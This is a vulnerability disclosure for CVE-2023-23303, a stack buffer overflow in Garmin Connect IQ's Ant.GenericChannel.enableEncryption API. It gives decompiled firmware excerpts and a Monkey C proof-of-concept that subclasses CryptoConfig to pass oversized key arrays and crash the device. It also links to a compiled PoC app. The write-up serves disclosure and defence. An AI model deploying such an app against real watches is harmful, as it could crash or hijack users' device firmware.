Headline
CVE-2023-23303: garmin-ciq-app-research/CVE-2023-23303.md at main · anvilsecure/garmin-ciq-app-research
The Toybox.Ant.GenericChannel.enableEncryption
API method in CIQ API version 3.2.0 through 4.1.7 does not validate its parameter, which can result in buffer overflows when copying various attributes. A malicious application could call the API method with specially crafted object and hijack the execution of the device’s firmware.
Buffer Overflows in Toybox.Ant.GenericChannel.enableEncryption
The GenericChannel class supports enabling encryption on an ANT channel via the enableEncryption method, which expects a Ant.CryptoConfig object.
(See: Garmin - Class: Toybox.Ant.GenericChannel)
The Ant.CryptoConfig object supports:
- encryptionKey, an array representing the encryption key
- userInfoString, an array representing the user information string
(See: Garmin - Class: Toybox.Ant.CryptoConfig)
When GenericChannel copies the encryptionKey and userInfoString parameters to static buffers, it does not check their sizes. Long encryptionKey and userInfoString arrays can override information on the stack, and potentially lead to arbitrary code execution.
The Ant.CryptoConfig class appears to limit the sizes of those parameters to 16 bytes. However, it is possible to inherit from the class and redefine its attributes after the initialization completed to pass arbitrary-sized arrays.
e_tvm_error native:Toybox.Ant.GenericChannel.enableEncryption(s_tvm_ctx *ctx,uint nb_args) { // […] char encryption_key [16]; char user_info_string [16] // […] // Anvil: Pass encryption key array and static buffer to `tvm_ant_copy_array` eVar2 = tvm_ant_copy_array(ctx,field_encryptionKey,(byte *)encryption_key,configuration,PTR_s_Failed_to_set_encryption_key_04760588); // […] // Anvil: Pass user info string array and static buffer to `tvm_ant_copy_array` eVar2 = tvm_ant_copy_array(ctx,field_userInfoString,(byte *)(user_info_string + 2),configuration,PTR_s_Failed_to_set_the_encryption_use_04760598); // […] }
e_tvm_error tvm_ant_copy_array(s_tvm_ctx *ctx,undefined4 field_symbol,byte *out_buffer,s_tvm_object *configuration,char *error_msg) { // […] // Anvil: Get the actual array eVar1 = tvm_get_field_value-?(ctx,configuration,field_symbol,&field_value); // […] // Anvil: Pass the static buffer and the array if ((uVar2 == 0) && (uVar2 = tvm_copy_array_to_buffer(ctx,(char *)out_buffer,&field_value,&uStack25), uVar2 != 0)) { // […] }
undefined4 * tvm_copy_array_to_buffer(s_tvm_ctx *ctx,char *out_buffer,s_tvm_object *field,char *param_4) { // […] // Anvil: Retrieve the array length if ((puVar2 == (undefined4 *)0x0) && (puVar2 = (undefined4 *)tvm_object_get_array_length-?(ctx,field,&array_length), puVar2 == (undefined4 *)0x0)) { // Anvil: Retrieve the array data eVar1 = tvm_object_get_array_data(ctx,field,array_data); puVar2 = (undefined4 *)(uint)eVar1; if (puVar2 == (undefined4 *)0x0) { pcVar3 = out_buffer + -1; index = puVar2; while( true ) { // Anvil: Loop until we reach the end of the array if (array_length <= index) { puVar2 = (undefined4 *)FUN_04775ce4(ctx,field); return puVar2; } puVar2 = tvm_object_get_value_of_array_at_index(ctx,field,(uint)index,(undefined4 *)&sStack32); if ((puVar2 != (undefined4 *)0x0) || (puVar2 = (undefined4 *)tvm_object_convert_to_int-?(ctx,&sStack32,&local_24), puVar2 != (undefined4 *)0x0)) break; pcVar3 = pcVar3 + 1; // Anvil: And copy the array value at the current index to the buffer *pcVar3 = (char)local_24; index = (undefined4 *)((int)index + 1); } } } // […] }
The crash can be triggered with the following proof-of-concept, adapted from the MO2Display sample app by Garmin available on GitHub:
class MyCryptoConfig extends Ant.CryptoConfig{
function initialize(options) {
Ant.CryptoConfig.initialize(options);
self.encryptionKey = \[
0x41, 0x42, 0x43, 0x44,
0x41, 0x42, 0x43, 0x44,
0x41, 0x42, 0x43, 0x44,
0x41, 0x42, 0x43, 0x44,
// Crash when longer than 16 bytes
0x41, 0x42, 0x43, 0x44,
0x41, 0x42, 0x43, 0x44,
0x41, 0x42, 0x43, 0x44,
0x41, 0x42, 0x43, 0x44,
// 0x41, 0x42, 0x43, 0x44,
// 0x41, 0x42, 0x43, 0x44,
// 0x41, 0x42, 0x43, 0x44,
// 0x41, 0x42, 0x43, 0x44,
// 0x41, 0x42, 0x43, 0x44,
// 0x41, 0x42, 0x43, 0x44,
// 0x41, 0x42, 0x43, 0x44,
// 0x41, 0x42, 0x43, 0x44,
\];
self.userInfoString = \[
0x45, 0x46, 0x47, 0x48,
0x45, 0x46, 0x47, 0x48,
0x45, 0x46, 0x47, 0x48,
0x45, 0x46, 0x47, 0x48,
// Crash when longer than 16 bytes
// 0x45, 0x46, 0x47, 0x48,
// 0x45, 0x46, 0x47, 0x48,
\];
}
}
class MO2DisplayApp extends App.AppBase { // […] function onStart(state) { //Create the sensor object and open it mSensor = new MO2Sensor(); mSensor.open(); // […] // Anvil: Default sane values var ENCRYPTION_ID = 12345; var ENCRYPTION_KEY = [ 0x41, 0x42, 0x43, 0x44, 0x41, 0x42, 0x43, 0x44, 0x41, 0x42, 0x43, 0x44, 0x41, 0x42, 0x43, 0x44, ]; var ENCRYPTION_USER_INFO_STRING = []; var ENCRYPTION_DECIMATION_RATE = 1; // […] var cryptoConfig = new MyCryptoConfig({ :encryptionId => ENCRYPTION_ID, :encryptionKey => ENCRYPTION_KEY, :decimationRate => ENCRYPTION_DECIMATION_RATE });
mSensor.enableEncryption(cryptoConfig);
The proof-of-concept application can be found here: https://github.com/anvilsecure/garmin-ciq-app-research/blob/main/poc/GRMN-08.prg